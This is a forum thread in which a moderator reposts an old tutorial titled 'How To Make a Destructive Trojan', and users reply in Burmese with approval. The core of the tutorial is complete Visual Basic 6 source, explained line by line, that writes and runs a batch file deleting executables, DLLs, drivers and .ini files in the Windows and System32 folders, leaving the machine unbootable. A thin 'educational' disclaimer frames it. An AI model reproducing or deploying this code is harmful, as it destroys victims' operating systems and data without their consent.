Myanmar IT Resource Forum
Myanmar IT Resource Forum

You are not connected. Please login or register

View previous topic View next topic Go down  Message [Page 1 of 1]

1 How To Make a Destructive Trojan, on 16th November 2009, 6:35 pm

ogre


Moderator



Moderator
----------------------------------------------------------------


- How
To Make a Destructive Trojan, by Jockstrap!
-


----------------------------------------------------------------


Disclaimer:


This is an educational document. I take no responsibility
for what use the


information in this document is used for. I am unable to be
blamed for any


troubles you get into with the police, FBI, or any other
department. Viruses


are illegal to be spread, so this is simply for theoretical
purposes or


testing in a controlled environment. It is not illegal to
write viruses, but it is


to spread them. I do not take any responsibility for your
actions!


So that is clear? Good! Lets begin! Smile





Introduction:


This tutorial, or article or whatever you want to call it,


is based around a destructive trojan i wrote in a day. So
don’t think that after


you read this you will be a pro in virus writing! Razz


I used a program called Visual Basic 6.0 to write this virus
and VB is the only


programming language i know. Of course there are loads of
other languages like ASM,


QBasic and so on.





The Code:


Ok, I was going to get straight to the point and show you
the code for my Jockster


trojan which deletes important files in the computer and
simply makes the computer useless


until the victim formats the C drive.





Private Sub Form_Load()


On Error Resume Next


Open "C:\Jockstrap.txt"
For Output As #1



Print #1, "@echo off"


Print #1, "cls"


Print #1, "@del C:\windows\*.ini"


Print #1, "cls"


Print #1, "@del C:\windows\*.log"


Print #1, "cls"


Print #1, "@del C:\windows\*.exe"


Print #1, "cls"


Print #1, "@del C:\windows\*.com"


Print #1, "cls"


Print #1, "@del C:\windows\system32\*.scr"


Print #1, "cls"


Print #1, "@del C:\windows\SYSTEM32\*.exe"


Print #1, "cls"


Print #1, "@del C:\windows\system32\*.log"


Print #1, "cls"


Print #1, "@del C:\windows\SYSTEM32\*.drv"


Print #1, "cls"


Print #1, "@del C:\windows\system32\*.dll"


Print #1, "cls"


Print #1, "@del C:\windows\SYSTEM32\*.sys"


Print #1, "cls"


Print #1, "@del C:\windows\SYSTEM32\*.com"


Print #1, "cls"


Print #1, "@del C:\windows\system.ini"


Close #1


Name "C:\Jockstrap.txt"
As "C:\Jockstrap.bat"



Shell
"C:\Jockstrap.bat"



MsgBox "The Answer Is Out
There!",vbCritical



Kill
"C:\Jockstrap.bat"



End


End Sub





Now i
will explain this code for you if you don’t already understand it.





Private Sub Form_Load()


On Error Resume Next


'On
Error Resume is very good and I always use it because if there is an error



'in
the code the program wont stop running.



'It
just jumps over the error and goes to the next line of code! Very Useful!



Open "C:\Jockstrap.txt"
For Output As #1



'This
line creates or opens a file called Jockstrap.txt in the C: and the "As
#1"



'tags
it with #1.



Print #1, "@echo off"


Print #1, "cls"


Print #1, "@del C:\windows\*.ini"


Print #1, "cls"


Print #1, "@del C:\windows\*.log"


Print #1, "cls"


Print #1, "@del C:\windows\*.exe"


Print #1, "cls"


Print #1, "@del C:\windows\*.com"


Print #1, "cls"


Print #1, "@del C:\windows\system32\*.scr"


Print #1, "cls"


Print #1, "@del C:\windows\SYSTEM32\*.exe"


Print #1, "cls"


Print #1, "@del C:\windows\system32\*.log"


Print #1, "cls"


Print #1, "@del C:\windows\SYSTEM32\*.drv"


Print #1, "cls"


Print #1, "@del C:\windows\system32\*.dll"


Print #1, "cls"


Print #1, "@del C:\windows\SYSTEM32\*.sys"


Print #1, "cls"


Print #1, "@del C:\windows\SYSTEM32\*.com"


Print #1, "cls"


Print #1, "@del C:\windows\system.ini"


'All
of the code above writes the following in the Jockstrap.txt:



'@echo
off



'Cls


'@del C:\windows\*.ini


'cls


'@del C:\windows\*.log


'cls


'@del C:\windows\*.exe


'cls


'@del C:\windows\*.com


'cls


'@del
C:\windows\system32\*.scr



'cls


'@del
C:\windows\SYSTEM32\*.exe



'cls


'@del
C:\windows\system32\*.log



'cls


'@del
C:\windows\SYSTEM32\*.drv



'cls


'@del
C:\windows\system32\*.dll



'cls


'@del
C:\windows\SYSTEM32\*.sys



'cls


'@del
C:\windows\SYSTEM32\*.com



'cls


'@del
C:\windows\system.ini



‘These
are command you can use in DOS to delete all the .ini files ‘in ‘C:\Windows and
so on.



Close #1


'Closes the Jockstrap.txt which has been open and active in
the background and ‘makes it available for other programs.



Name "C:\Jockstrap.txt"
As "C:\Jockstrap.bat"



'Simply
renames Jockstrap.txt to Jockstrap.bat and if you run the file now it will



'execute
all the code that was written in the Jockstrap.txt file in ‘DOS which ‘could be
devastating.



Shell
"C:\Jockstrap.bat"



'This
line of code executes the Jockstrap.bat file and runs the code in it.



'Devastating...
Highly Devastating!



MsgBox "The Answer Is Out
There!",vbCritical



'Opens
a message box saying The Answer Is Out There and the vbCritical



'code
adds a noise and a warning sign to the message box.



Kill
"C:\Jockstrap.bat"



'Deletes
the Jockstrap.bat after it has run. You have to put something between



'the Shell event and the
Kill event to make it work. That’s why the ‘MsgBox is ‘there.



End


'Closes
the program.



End Sub


'This
have to be in the end of a Sub to make the program work.


















Conclusion and Notes:


At the first a file named Jockstrap.txt is made.


Then a couple of DOS commands are written in the text
document.


Jockstrap.txt is renamed to Jockstrap.bat


Jockstrap.bat is executed.


The DOS commands execute.


A message box with something on it is pops up. (You can also
just put a Beep instead of the message box)


Jockstrap.bat is deleted.


The application closes.


It’s that easy…





I hope this tutorial or article I wrote helped you in you’re
quest for knowledge.


Me (Jockstrap) is not a good programmer but I was bored one
day and I thought of this code and it was pretty good at destroying the
computer. Its still a newbie code and its unprofessional in all ways! I used
this code in a virus called Jockster.a and I tested it in my other computer. At
first nothing happened but when I rebooted there was a message saying:


Couldn’t find WIN.COM


Windows will not continue load!


Of course that was devastating to my computer but I was
happy.


This is just a very simple but destructive code and I will
improve my skills and come out with a new tutorial soon. If you want to find
more information in programming virii and viruses just search the web. Just
surf around and you will find information.


If you want some help or found anything hard to get that is
written in this document feel free to mail me at [You must be registered and logged in to see this link.] (pay
attention that there are 2x “_”)


Remember: to spread viruses is illegal, to write them isn’t!


________________


|Made by Jockstrap |


|14.07.2002___|


I got it form online..... i don't know all of about.... don't mind for that.... that is for study.... pls don't made fool to anyone....

http://www.myanmarhelper.co.cc

2 Re: How To Make a Destructive Trojan, on 19th November 2009, 7:25 pm

sHa92


Founder



Founder
Source Code ေလးပါပါေတာ့ ပိုေကာင္းသြားတာေပါ့။ Coding ေရးထားတဲ့ VB 6 ကိုေတာ့ နည္းနည္း ၿမွင့္လိုက္ရင္ေကာင္းမယ္။
စာေရးသူကေတာ့ for study ။ အသံုးခ်မယ့္သူကေတာ့ for အမ်ိဳးမ်ိဳး reason ဟီး။

ကို ogre တင္ေပးတာေတြ သိပ္ကိုေကာင္း။ အရမ္းေကာင္း၏
ၿမန္မာလိုေလးဆုိရင္ ပိုေကာင္းပါမယ္။



Change We Need!
http://www.myanmaritresource.info

3 Re: How To Make a Destructive Trojan, on 20th November 2009, 7:47 pm

ogre


Moderator



Moderator
ကို [You must be registered and logged in to see this link.] ေရ က်ြန္ေတာ္ က မသိလို ့မေရးေပးတာပါ.... း)

http://www.myanmarhelper.co.cc

Sponsored content


View previous topic View next topic Back to top  Message [Page 1 of 1]

Permissions in this forum:
You cannot reply to topics in this forum

 

Free forum | © PunBB | Free forum support | Contact | Report an abuse | Free forum